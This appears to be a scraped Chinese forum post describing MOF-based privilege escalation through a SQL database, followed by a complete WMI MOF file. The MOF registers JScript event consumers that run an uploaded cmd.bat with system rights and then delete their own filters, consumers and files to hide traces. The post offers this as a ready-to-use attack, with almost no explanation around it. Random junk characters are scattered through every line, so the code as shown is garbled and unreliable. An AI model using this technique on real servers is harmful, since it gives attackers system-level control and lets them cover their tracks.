这个sql提权MOF需要运行 system下的文件,不能定义路径。5 z( X6 |& T$ B" ]* U
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ Z' |1 { T7 e2 u4 n3 E+ F5 t8 F% `, M3 ~, X; J, f# L
这个sql提权MOF需要运行 system下的文件,不能定义路径。
e- N; W6 d7 M) ^4 P需要将要运行的命令写入到bat上传到system32目录,然后执行。5 _% `& v- |/ y& h' ^+ z/ z
T8 _# [3 a8 x#pragma- `0 }: l1 c0 a0 Q$ n0 ~
namespace("\\\\.\\root\\cimv2")9 o; T) e7 \2 W( J
class
5 F) |9 A% L- @& F+ L- G, S MyClass547! E5 p% r3 B- j2 D" `8 {
{ [key]4 K9 F# T1 r3 P+ n( z, `
string H8 N9 l& [3 i4 i' b
Name;
7 X6 f, e; ~/ Y; j8 U };
* |3 p( J2 Z( z5 T( N$ J5 ]5 A8 d class* K7 g) @9 `% Y
ActiveScriptEventConsumer. J$ _7 d. T5 F q( f
: __EventConsumer { [key]
L8 G( [+ Z3 D: \2 ^% k string
$ }$ d5 C x3 @9 } o" L% M Name; [not_null]5 c- e+ ?0 z( E, ~9 T
string" L7 s) x. h7 K# T
ScriptingEngine; string2 u) R7 C7 n! G! g+ ?1 K
ScriptFileName; [template]8 U F# U. x# _, y+ r# D
string0 b9 G) [; H/ v; C
ScriptText; uint32 KillTimeout;
, m, F, o6 c4 \6 Z1 \ }; instance of __Win32Provider as $P {
( M1 g0 t: r+ w4 I4 a% U Name
$ M8 S! V/ r* N5 T( z9 {5 W0 m! u& Y =
& q$ P6 ]3 D8 s+ k; D4 @ "ActiveScriptEventConsumer"; CLSID =
- R) V7 v6 q! s. y; a7 `+ }% S "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";* }! k* Q+ F% t) [' n1 e3 ]
PerUserInitialization
' ~5 j. h# G8 |6 C6 q = TRUE;
7 U w- z7 a" z! B& G9 T }; instance of __EventConsumerProviderRegistration { Provider5 i0 S" X [ [+ J! g. e% Z
= $P; ConsumerClassNames
7 y( H* _! W$ R* s3 {1 h2 d =! k8 m' r- s8 a' H! W
{"ActiveScriptEventConsumer"};
; [3 L2 x9 F) Q7 k };
. U& [9 [: y5 Z+ ~2 ~ Instance of ActiveScriptEventConsumer
* f% g& O4 ^! ^" F Y as $cons { Name8 Q/ S \. g, a9 M+ A7 I
=
# ?9 k" Y W: J6 I! W "ASEC"; ScriptingEngine
- O# n; d2 m3 k# a7 t* T: ` =4 U" b6 p# A- N# {: s
"JScript"; ScriptText
2 Q& N8 z5 x) p; u =- s R$ A0 j4 A+ Q
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };# o8 B* ^- y3 `- }1 f# Y4 t4 j
Instance of ActiveScriptEventConsumer; z7 @3 B! A& g; I% Y$ K
as $cons2 { Name: U6 V) i7 }1 i, P
=
6 l8 u M! z5 ~ S5 h8 ]- V4 q "qndASEC"; ScriptingEngine
& b3 T0 I$ _. X) x =
' y- _5 Y' [% C- b6 a' M) \ "JScript"; ScriptText
7 P t1 A" L1 Q& b3 W6 o% q =/ e4 V# [6 Y- a6 \+ x! H8 b+ O( X* d* p! F
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
0 F/ P6 l9 M. I$ C0 Z* r! L& ^ }; instance of __EventFilter as $Filt { Name
Z' F% F! [6 R6 K$ [ =
0 o6 B) Y1 K- p2 n+ a6 B7 i/ K "instfilt"; Query! Z0 ^9 _, b) p5 Y8 V* E( L
=' N9 {- \8 i3 G$ N
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
# u. r h/ |' U6 Q& { =
) P" r. E9 [, q( z% c "WQL"; }; instance of __EventFilter as $Filt2 { Name
. g+ B0 f6 u3 e4 E( u =5 k( z, [3 I* X' k% p0 J! x
"qndfilt"; Query
7 L, G, O9 W: z7 f( i: f/ a =1 g, E5 W1 C/ T1 Y( {4 R ^
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage x/ S! d0 s! X
=0 N( s: r, W( ^2 {4 w
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer2 O) g- u1 H& N$ u
= $cons; Filter
$ Q. N4 o- |0 ]4 R) S% n$ q = $Filt;0 k2 \( l( d1 @' |- S7 ^
}; instance of __FilterToConsumerBinding as $bind2 { Consumer# V4 }: w% C8 l6 B
= $cons2; Filter2 w, g4 U Z( z6 H1 }$ j- s
= $Filt2; H$ n" S/ A; V4 p! p
}; instance of MyClass547
% A8 B& W- z3 X; ^; e8 v1 {$ W as $MyClass { Name
$ ]- i. J, ~6 q =8 y9 h! a+ B$ H
"ClassConsumer";* M! m/ U0 X/ T' f3 p
}; |